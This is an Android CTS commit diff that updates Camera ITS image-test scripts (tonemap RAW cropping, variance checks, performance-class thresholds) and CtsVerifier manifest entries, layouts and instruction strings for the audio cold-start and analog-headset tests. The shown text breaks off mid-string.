diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-10-06 22:21:26 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-10-06 22:21:26 +0000 |
commit | 3324a062003db62c2abbc7a994c5c383610cf81a (patch) | |
tree | 6d9aae29dfe186e79ae2a4251e067ff81b278fc0 | |
parent | f5eac9f1124f3e9b3c510bfab0c24e62f4103f61 (diff) | |
parent | 55e8aafd5ffe52387e49b47c339070060c142a45 (diff) | |
download | cts-android12-mainline-statsd-release.tar.gz |
Snap for 7799923 from 55e8aafd5ffe52387e49b47c339070060c142a45 to mainline-os-statsd-releaseandroid-mainline-12.0.0_r58android12-mainline-statsd-release
Change-Id: I724e39533f48dc5e83ea2b25baea574faa80a9ca
311 files changed, 6855 insertions, 2737 deletions
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py index d488a6fa5af..1c105627837 100644 --- a/apps/CameraITS/tests/its_base_test.py +++ b/apps/CameraITS/tests/its_base_test.py @@ -32,8 +32,8 @@ SCROLLER_TIMEOUT_MS = 3000 VALID_NUM_DEVICES = (1, 2) NOT_YET_MANDATED_ALL = 100 -# Not yet mandated tests ['test', first_api_level mandatory] -# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30 +# Not yet mandated tests ['test', first_api_level not yet mandatory] +# ie. ['test_test_patterns', 30] is MANDATED for first_api_level > 30 NOT_YET_MANDATED = { 'scene0': [['test_test_patterns', 30], ['test_tonemap_curve', 30]], @@ -210,10 +210,10 @@ class ItsBaseTest(base_test.BaseTestClass): # Determine which test are not yet mandated for first api level. tests = NOT_YET_MANDATED[scene] - for [test, first_api_level_mandated] in tests: - logging.debug('First API level %s MANDATED: %d', - test, first_api_level_mandated) - if first_api_level < first_api_level_mandated: + for [test, first_api_level_not_mandated] in tests: + logging.debug('First API level %s NOT MANDATED: %d', + test, first_api_level_not_mandated) + if first_api_level <= first_api_level_not_mandated: not_yet_mandated[scene].append(test) return not_yet_mandated diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py index e3336a6b48c..0c352307656 100644 --- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py +++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py @@ -88,6 +88,11 @@ def check_solid_color(img, exp_values, color): 'RGB means: %s, expected: %s, ATOL: %d', color, str(rgb_means), str(exp_values), _BW_CH_ATOL) test_fail = True + if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars): + logging.error('Image has too much variance for color %s. ' + 'RGB variances: %s, ATOL: %d', + color, str(rgb_vars), _CH_VARIANCE_ATOL) + test_fail = True else: exp_values_mask = np.array(exp_values)//255 primary = max(rgb_means*exp_values_mask) @@ -101,14 +106,18 @@ def check_solid_color(img, exp_values, color): logging.error('Secondary colors too bright in %s. ' 'RGB means: %s, expected: %s, MAX: %d', color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX) - test_fail = True - - if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars): - logging.error('Image has too much variance for color %s. ' - 'RGB variances: %s, ATOL: %d', - color, str(rgb_vars), _CH_VARIANCE_ATOL) - test_fail = True + primary_rgb_vars = max(rgb_vars*exp_values_mask) + secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars) + if primary_rgb_vars > _CH_VARIANCE_ATOL: + logging.error('Image primary color has too much variance for %s. ' + 'RGB variances: %s, ATOL: %d', + color, str(rgb_vars), _CH_VARIANCE_ATOL) + test_fail = True + elif secondary_rgb_vars > _CH_VARIANCE_ATOL: + logging.error('Image secondary color has too much variance for %s. ' + 'RGB variances: %s, ATOL: %d', + color, str(rgb_vars), _CH_VARIANCE_ATOL) return test_fail diff --git a/apps/CameraITS/tests/scene0/test_tonemap_curve.py b/apps/CameraITS/tests/scene0/test_tonemap_curve.py index 5395da24d88..48c95a37b52 100644 --- a/apps/CameraITS/tests/scene0/test_tonemap_curve.py +++ b/apps/CameraITS/tests/scene0/test_tonemap_curve.py @@ -50,6 +50,39 @@ H_NORM = 1.0 LINEAR_TONEMAP = sum([[i/63.0, i/126.0] for i in range(64)], []) +def get_yuv_patch_coordinates(num, w_orig, w_crop): + """Returns the normalized x co-ordinate for the title. + + Args: + num: int; position on color in the color bar. + w_orig: float; original RAW image W + w_crop: float; cropped RAW image W + + Returns: + normalized x, w values for color patch. + """ + if w_crop == w_orig: # uncropped image + x_norm = num / N_BARS + DELTA + w_norm = 1 / N_BARS - 2 * DELTA + logging.debug('x_norm: %.5f, w_norm: %.5f', x_norm, w_norm) + elif w_crop < w_orig: # adject patch width to match vertical RAW crop + w_delta_edge = (w_orig - w_crop) / 2 + w_bar_orig = w_orig / N_BARS + if num == 0: # left-most bar + x_norm = DELTA + w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA + elif num == N_BARS: # right-most bar + x_norm = (w_bar_orig*num - w_delta_edge)/w_crop + DELTA + w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA + else: # middle bars + x_norm = (w_bar_orig * num - w_delta_edge) / w_crop + DELTA + w_norm = w_bar_orig / w_crop - 2 * DELTA + logging.debug('x_norm: %.5f, w_norm: %.5f (crop-corrected)', x_norm, w_norm) + else: + raise AssertionError('Cropped image is larger than original!') + return x_norm, w_norm + + def get_x_norm(num): """Returns the normalized x co-ordinate for the title. @@ -89,7 +122,7 @@ def check_raw_pattern(img_raw): raise AssertionError('RAW COLOR_BARS test pattern does not have all colors') -def check_yuv_vs_raw(img_raw, img_yuv): +def check_yuv_vs_raw(img_raw, img_yuv, name, debug): """Checks for YUV vs RAW match in 8 patches. Check for correct values and color consistency @@ -97,17 +130,45 @@ def check_yuv_vs_raw(img_raw, img_yuv): Args: img_raw: RAW image img_yuv: YUV image + name: string for test name with path + debug: boolean to log additional information """ logging.debug('Checking YUV/RAW match') + raw_w = img_raw.shape[1] + raw_h = img_raw.shape[0] + raw_aspect_ratio = raw_w/raw_h + yuv_aspect_ratio = YUV_W/YUV_H + logging.debug('raw_img: W, H, AR: %d, %d, %.3f', + raw_w, raw_h, raw_aspect_ratio) + + # Crop RAW to match YUV 4:3 format + raw_w_cropped = raw_w + if raw_aspect_ratio > yuv_aspect_ratio: # vertical crop sensor + logging.debug('Cropping RAW to match YUV aspect ratio.') + w_norm_raw = yuv_aspect_ratio / raw_aspect_ratio + x_norm_raw = (1 - w_norm_raw) / 2 + img_raw = image_processing_utils.get_image_patch( + img_raw, x_norm_raw, 0, w_norm_raw, 1) + raw_w_cropped = img_raw.shape[1] + logging.debug('New RAW W, H: %d, %d', raw_w_cropped, img_raw.shape[0]) + image_processing_utils.write_image( + img_raw, f'{name}_raw_cropped_COLOR_BARS.jpg', True) + + # Compare YUV and RAW color patches color_match_errs = [] color_variance_errs = [] for n in range(N_BARS): - x_norm = get_x_norm(n) + x_norm, w_norm = get_yuv_patch_coordinates(n, raw_w, raw_w_cropped) logging.debug('x_norm: %.3f', x_norm) raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM, - W_NORM, H_NORM) + w_norm, H_NORM) yuv_patch = image_processing_utils.get_image_patch(img_yuv, x_norm, Y_NORM, - W_NORM, H_NORM) + w_norm, H_NORM) + if debug: + image_processing_utils.write_image( + raw_patch, f'{name}_raw_patch_{n}.jpg', True) + image_processing_utils.write_image( + yuv_patch, f'{name}_yuv_patch_{n}.jpg', True) raw_means = np.array(image_processing_utils.compute_image_means(raw_patch)) raw_vars = np.array( image_processing_utils.compute_image_variances(raw_patch)) @@ -117,10 +178,10 @@ def check_yuv_vs_raw(img_raw, img_yuv): image_processing_utils.compute_image_variances(yuv_patch)) if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL): color_match_errs.append( - 'RAW: %s, RGB(norm): %s, ATOL: %.2f' % + 'means RAW: %s, RGB(norm): %s, ATOL: %.2f' % (str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL)) if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL): - color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' % + color_variance_errs.append('variances RAW: %s, RGB: %s, ATOL: %.4f' % (str(raw_vars), str(yuv_vars), RGB_VAR_TOL)) # Print all errors before assertion @@ -136,13 +197,14 @@ def check_yuv_vs_raw(img_raw, img_yuv): raise AssertionError('Color variance errors. See test_log.DEBUG') -def test_tonemap_curve_impl(name, cam, props): +def test_tonemap_curve_impl(name, cam, props, debug): """Test tonemap curve with sensor test pattern. Args: name: Path to save the captured image. cam: An open device session. props: Properties of cam. + debug: boolean for debug mode """ avail_patterns = props['android.sensor.availableTestPatternModes'] @@ -161,7 +223,9 @@ def test_tonemap_curve_impl(name, cam, props): # Save RAW pattern image_processing_utils.write_image( - img_raw, '%s_raw_%d.jpg' % (name, COLOR_BAR_PATTERN), True) + img_raw, f'{name}_raw_COLOR_BARS.jpg', True) + + # Check pattern for correctness check_raw_pattern(img_raw) # YUV image @@ -181,10 +245,10 @@ def test_tonemap_curve_impl(name, cam, props): # Save YUV pattern image_processing_utils.write_image( - img_yuv, '%s_yuv_%d.jpg' % (name, COLOR_BAR_PATTERN), True) + img_yuv, f'{name}_yuv_COLOR_BARS.jpg', True) # Check pattern for correctness - check_yuv_vs_raw(img_raw, img_yuv) + check_yuv_vs_raw(img_raw, img_yuv, name, debug) class TonemapCurveTest(its_base_test.ItsBaseTest): @@ -208,7 +272,7 @@ class TonemapCurveTest(its_base_test.ItsBaseTest): camera_properties_utils.manual_post_proc(props) and camera_properties_utils.color_bars_test_pattern(props)) - test_tonemap_curve_impl(name, cam, props) + test_tonemap_curve_impl(name, cam, props, self.debug_mode) if __name__ == '__main__': diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py index 148d8637996..77e35edfa07 100644 --- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py +++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py @@ -17,14 +17,13 @@ import logging import os.path -from mobly import test_runner -import numpy as np - -import its_base_test import camera_properties_utils import capture_request_utils import image_processing_utils +import its_base_test import its_session_utils +from mobly import test_runner +import numpy as np import target_exposure_utils # 5 regions specified in normalized (x, y, w, h) coords. @@ -64,7 +63,7 @@ class CropRegionsTest(its_base_test.ItsBaseTest): ax, ay = a['left'], a['top'] aw, ah = a['right'] - a['left'], a['bottom'] - a['top'] e, s = target_exposure_utils.get_target_exposure_combos( - props, cam)['minSensitivity'] + log_path, cam)['minSensitivity'] logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah) # Uses a 2x digital zoom. diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py index e6667637906..c19b6f7ab72 100644 --- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py @@ -22,6 +22,7 @@ import camera_properties_utils import its_base_test import its_session_utils +CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600 # ms CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500 # ms @@ -40,8 +41,8 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest): device_id=self.dut.serial, camera_id=self.camera_id) as cam: - camera_properties_utils.skip_unless( - cam.is_performance_class_primary_camera()) + perf_class_level = cam.get_performance_class_level() + camera_properties_utils.skip_unless(perf_class_level >= 11) # Load chart for scene. props = cam.get_camera_properties() @@ -55,9 +56,14 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) launch_ms = cam.measure_camera_launch_ms() - if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD: + if perf_class_level >= 12: + perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD + else: + perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD + + if launch_ms >= perf_class_threshold: raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: ' - f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms') + f'{perf_class_threshold} ms') else: logging.debug('camera launch time: %.1f ms', launch_ms) diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py index ba4867bd0f7..74aefd5136e 100644 --- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py @@ -22,7 +22,7 @@ import camera_properties_utils import its_base_test import its_session_utils -JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms +JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): @@ -41,7 +41,7 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) as cam: camera_properties_utils.skip_unless( - cam.is_performance_class_primary_camera()) + cam.get_performance_class_level() >= 11) # Load chart for scene. props = cam.get_camera_properties() @@ -55,10 +55,10 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): camera_id=self.camera_id) jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms() - if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD: + if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD: raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, ' f'THRESH: ' - f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms') + f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms') else: logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms) diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py index 657f20c206d..1a43788141b 100644 --- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py +++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py @@ -216,7 +216,15 @@ def _find_raw_fov_reference(cam, req, props, log_path): fd = float(cap_raw['metadata']['android.lens.focalLength']) k = camera_properties_utils.get_intrinsic_calibration(props, True, fd) opencv_dist = camera_properties_utils.get_distortion_matrix(props) - img_raw = cv2.undistort(img_raw, k, opencv_dist) + k_new = cv2.getOptimalNewCameraMatrix( + k, opencv_dist, (img_raw.shape[1], img_raw.shape[0]), 0)[0] + scale = max(k_new[0][0] / k[0][0], k_new[1][1] / k[1][1]) + if scale > 1: + k_new[0][0] = k[0][0] * scale + k_new[1][1] = k[1][1] * scale + img_raw = cv2.undistort(img_raw, k, opencv_dist, None, k_new) + else: + img_raw = cv2.undistort(img_raw, k, opencv_dist) # Get image size. size_raw = img_raw.shape diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py index 117ba2132a8..dcdf731e468 100644 --- a/apps/CameraITS/utils/camera_properties_utils.py +++ b/apps/CameraITS/utils/camera_properties_utils.py @@ -737,7 +737,7 @@ def post_raw_sensitivity_boost(props): Boolean. True if android.control.postRawSensitivityBoost is supported. """ return ( - 'android.control.postRawSensitivityBoostRange' in props.keys() and + 'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and props.get('android.control.postRawSensitivityBoostRange') != [100, 100]) diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py index c041e240a64..23432f1fcc8 100644 --- a/apps/CameraITS/utils/image_processing_utils.py +++ b/apps/CameraITS/utils/image_processing_utils.py @@ -23,14 +23,13 @@ import random import sys import unittest +import capture_request_utils +import cv2 +import error_util import numpy from PIL import Image -import cv2 -import capture_request_utils -import error_util - # The matrix is from JFIF spec DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402], [1.000, -0.344, -0.714], @@ -347,6 +346,40 @@ def convert_capture_to_planes(cap, props=None): raise error_util.CameraItsError('Invalid format %s' % (cap['format'])) +def downscale_image(img, f): + """Shrink an image by a given integer factor. + + This function computes output pixel values by averaging over rectangular + regions of the input image; it doesn't skip or sample pixels, and all input + image pixels are evenly weighted. + + If the downscaling factor doesn't cleanly divide the width and/or height, + then the remaining pixels on the right or bottom edge are discarded prior + to the downscaling. + + Args: + img: The input image as an ndarray. + f: The downscaling factor, which should be an integer. + + Returns: + The new (downscaled) image, as an ndarray. + """ + h, w, chans = img.shape + f = int(f) + assert f >= 1 + h = (h//f)*f + w = (w//f)*f + img = img[0:h:, 0:w:, ::] + chs = [] + for i in range(chans): + ch = img.reshape(h*w*chans)[i::chans].reshape(h, w) + ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f) + ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f) + chs.append(ch.reshape(h*w//(f*f))) + img = numpy.vstack(chs).T.reshape(h//f, w//f, chans) + return img + + def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props, cap_res): """Convert a Bayer raw-16 image to an RGB image. diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py index 4c4738867bf..3289b910210 100644 --- a/apps/CameraITS/utils/its_session_utils.py +++ b/apps/CameraITS/utils/its_session_utils.py @@ -1093,25 +1093,24 @@ class ItsSession(object): ' support') return data['strValue'] == 'true' - def is_performance_class_primary_camera(self): + def get_performance_class_level(self): """Query whether the camera device is an R or S performance class primary camera. A primary rear/front facing camera is a camera device with the lowest camera Id for that facing. Returns: - Boolean + Performance class level in integer. R: 11. S: 12. """ cmd = {} - cmd['cmdName'] = 'isPerformanceClassPrimaryCamera' + cmd['cmdName'] = 'getPerformanceClassLevel' cmd['cameraId'] = self._camera_id self.sock.send(json.dumps(cmd).encode() + '\n'.encode()) data, _ = self.__read_response_from_socket() - if data['tag'] != 'performanceClassPrimaryCamera': - raise error_util.CameraItsError('Failed to query performance class ' - 'primary camera') - return data['strValue'] == 'true' + if data['tag'] != 'performanceClassLevel': + raise error_util.CameraItsError('Failed to query performance class level') + return int(data['strValue']) def measure_camera_launch_ms(self): """Measure camera launch latency in millisecond, from open to first frame. diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py index 69bad61e991..6cc692b4258 100644 --- a/apps/CameraITS/utils/opencv_processing_utils.py +++ b/apps/CameraITS/utils/opencv_processing_utils.py @@ -557,29 +557,17 @@ def get_angle(input_img): class Cv2ImageProcessingUtilsTests(unittest.TestCase): """Unit tests for this module.""" - def test_get_angle_identify_unrotated_chessboard_angle(self): - normal_img_path = os.path.join( - TEST_IMG_DIR, 'rotated_chessboards/normal.jpg') - wide_img_path = os.path.join( - TEST_IMG_DIR, 'rotated_chessboards/wide.jpg') - normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY) - wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY) - normal_angle = get_angle(normal_img) - wide_angle = get_angle(wide_img) - e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}' - self.assertEqual(get_angle(normal_img), 0, e_msg) - self.assertEqual(get_angle(wide_img), 0, e_msg) - def test_get_angle_identify_rotated_chessboard_angle(self): # Array of the image files and angles containing rotated chessboards. test_cases = [ - ('_15_ccw', 15), - ('_30_ccw', 30), - ('_45_ccw', 45), - ('_60_ccw', 60), - ('_75_ccw', 75), - ('_90_ccw', 90) + ('', 0), + ('_15_ccw', -15), + ('_30_ccw', -30), + ('_45_ccw', -45), + ('_60_ccw', -60), + ('_75_ccw', -75), ] + test_fails = '' # For each rotated image pair (normal, wide), check angle against expected. for suffix, angle in test_cases: @@ -594,13 +582,21 @@ class Cv2ImageProcessingUtilsTests(unittest.TestCase): wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY) # Assert angle as expected. - normal_angle = get_angle(normal_img) - wide_angle = get_angle(wide_img) - e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}' - self.assertTrue( - numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg) - self.assertTrue( - numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg) + normal = get_angle(normal_img) + wide = get_angle(wide_img) + valid_angles = (angle, angle+90) # try both angle & +90 due to squares + e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: ' + f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}') + matched_angles = False + for a in valid_angles: + if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and + math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)): + matched_angles = True + + if not matched_angles: + test_fails += e_msg + + self.assertEqual(len(test_fails), 0, test_fails) if __name__ == '__main__': diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index 9855e6d3c3c..bf85caef002 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -197,7 +197,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_other" /> - <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" /> + <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> </activity> @@ -4883,7 +4883,7 @@ </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> <meta-data android:name="test_excluded_features" - android:value="android.hardware.type.watch:android.hardware.type.television" /> + android:value="android.hardware.type.watch:android.hardware.type.television:android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> </activity> @@ -5474,6 +5474,15 @@ <action android:name="android.intent.action.MAIN" /> <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> + <meta-data + android:name="test_category" + android:value="@string/test_category_telecom"/> + <meta-data + android:name="test_required_features" + android:value="android.hardware.telephony"/> + <meta-data + android:name="test_required_configs" + android:value="config_voice_capable"/> <meta-data android:name="display_mode" android:value="multi_display_mode" /> </activity> diff --git a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml index 3eaa55d2107..2255ca758a7 100644 --- a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml +++ b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml @@ -58,4 +58,9 @@ android:layout_height="wrap_content" android:id="@+id/coldstart_coldLatencyTxt" /> + <TextView + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:id="@+id/coldstart_coldResultsTxt" /> + </LinearLayout> diff --git a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml index 005c5e6b547..24767d2b72d 100644 --- a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml +++ b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml @@ -33,7 +33,8 @@ <TextView android:layout_width="match_parent" android:layout_height="wrap_content" - android:text="@string/analog_headset_query"/> + android:text="@string/analog_headset_query" + android:id="@+id/analog_headset_query"/> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" @@ -56,11 +57,11 @@ <TextView android:layout_width="match_parent" android:layout_height="wrap_content" - android:id="@+id/headset_analog_name"/> + android:id="@+id/headset_analog_plug_message"/> <TextView android:layout_width="match_parent" android:layout_height="wrap_content" - android:id="@+id/headset_analog_plug_message"/> + android:id="@+id/headset_analog_name"/> <!-- Player Controls --> <LinearLayout @@ -90,7 +91,7 @@ <TextView android:layout_width="match_parent" android:layout_height="wrap_content" - android:text="@string/analog_headset_success_question"/> + android:id="@+id/analog_headset_playback_status"/> <LinearLayout android:layout_width="match_parent" @@ -118,6 +119,10 @@ <TextView android:layout_width="match_parent" android:layout_height="wrap_content" + android:id="@+id/analog_headset_keycodes_prompt"/> + <TextView + android:layout_width="match_parent" + android:layout_height="wrap_content" android:text="@string/analog_headset_keycodes_label"/> <LinearLayout android:layout_width="match_parent" @@ -144,6 +149,14 @@ android:id="@+id/headset_keycode_volume_down"/> </LinearLayout> </LinearLayout> + + <!-- Results --> + <TextView + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:id="@+id/headset_results" + android:textSize="20dp"/> + <include layout="@layout/pass_fail_buttons" /> </LinearLayout>
\ No newline at end of file diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index 0001977d52b..95a1ef2d55d 100644 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -876,7 +876,8 @@ <string name="ibo_test">Ignore Battery Optimizations Test</string> <string name="ibo_test_info"> This test verifies that the device provides a user affordance to ask the user if the system - should disable battery optimizations for an app. + should disable battery optimizations for an app and to allow a user to remove the app from + the exemption list. </string> <string name="ibo_test_start_unexempt_app"> Remove the test app from the ignore battery optimizations list to begin the test. (Try going @@ -888,8 +889,9 @@ <string name="ibo_next_to_confirm">Press next to confirm.</string> <string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string> <string name="ibo_unexempt_app"> - Remove the test app from the ignore battery optimizations list. (Try going - to the App Info page and make sure the system is optimizing battery for the app.) + Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd + deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their + exemption statuses. Find the test app in the list and remove the app\'s exemption.) </string> <string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string> <string name="ibo_exempt_app_list"> @@ -5114,11 +5116,34 @@ You should be prompted to select credentials; choose the ones you just installed <string name="audio_coldstart_in_latency_test">Audio Cold Start Input Latency Test</string> <string name="audio_coldstart_output_info"> - This test measures the time required to output audio from a suspended \"cold\" audio system. - It requires that touch-sounds be disabled in the device \"Sound & Vibration\" settings + This test measures the time required to play audio from a suspended \"cold\" audio system. + This time is defined as the \"cold start latency\". To pass this test, a maximum + cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less + is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>) + \n\nTo run this test, it is required to have touch-sounds disabled in the device + \"Sound & Vibration\" settings panel. + \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the + two streaming APIs. The cold start latency measurement need only pass for one API. + The Native API generally gives the best performance. + \n\nAlthough not part of the pass criteria, the test will also report \"open\" & + \"start\" times. Open time is the time taken to allocate and prepare the player for the + specified stream attributes. Start time is the time taken to start playing audio on an + open stream. + </string> + <string name="audio_coldstart_input_info"> + This test measures the time required to record audio from a suspended \"cold\" audio system. + This time is defined as the \"cold start latency\". To pass this test, a maximum + cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less + is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>) + \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the + two streaming APIs. The cold start latency measurement need only pass for one API. + The Native API generally gives the best performance. + \n\nAlthough not part of the pass criteria, the test will also report \"open\" & + \"start\" times. Open time is the time taken to allocate and prepare the recorder for the + specified stream attributes. Start time is the time taken to start recording audio on an + open stream. </string> - <string name="audio_coldstart_input_info">Info Here</string> <string name="audio_coldstart_outputlbl">Output Cold Start Latency</string> <string name="audio_coldstart_inputlbl">Input Cold Start Latency</string> <string name="audio_coldstart_touchsounds_message"> @@ -5246,18 +5271,34 @@ Follow the instructions on the screen to measure the frequency response for the <string name="analog_headset_query">Does this Android device have an analog headset jack?</string> <string name="analog_headset_play">Play</string> <string name="analog_headset_stop">Stop</string> - <string name="analog_headset_success_question">Was the audio correctly played through the headset/headphones?</string> - <string name="analog_headset_keycodes_label">Headset Keycodes</string> + <string name="analog_headset_playback_prompt">Play a test tone and verify correct playback</string> + <string name="analog_headset_playback_query">Was the audio correctly played through the headset?</string> + <string name="analog_headset_keycodes_label">Headset key codes</string> <string name="analog_headset_headsethook">HEADSETHOOK</string> <string name="analog_headset_volup">VOLUME_UP</string> <string name="analog_headset_voldown">VOLUME_DOWN</string> <string name="analog_headset_test">Analog Headset Test</string> - <string name="analog_headset_test_info"> - This test tests the following functionality with respect to wired analog headset/headphones.\n + <string name="analog_headset_pass_noheadset">"PASS. No headset port available."</string> + <string name="analog_headset_pass">PASS.</string> + <string name="analog_headset_port_detected">"Analog port detected."</string> + <string name="analog_headset_press_buttons">Press headset buttons to verify recognition.</string> + <string name="analog_headset_headset_connected">Headset connected.</string> + <string name="analog_headset_no_headset">No Headset. Connect headset to 3.5mm analog jack.</string> + <string name="analog_headset_action_received">ACTION_HEADSET_PLUG received - </string> + <string name="analog_headset_unplugged">Unplugged</string> + <string name="analog_headset_plugged">Plugged</string> + <string name="analog_headset_mic"> [mic]</string> + <string name="analog_headset_test_info">This test tests the following functionality with respect to wired analog headsets.\n 1. Correct audio playback.\n 2. Plug intents.\n 3. Headset keycodes.\n - To run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons. + \nTo execute test:\n + 1. Plug in an Android-compatible, analog headset. Verify connection/recognition.\n + 2. Play test tone and verify correct behavior.\n + 3. Press headset buttons until all are recognized on the test screen.\n + \nTo run this test it 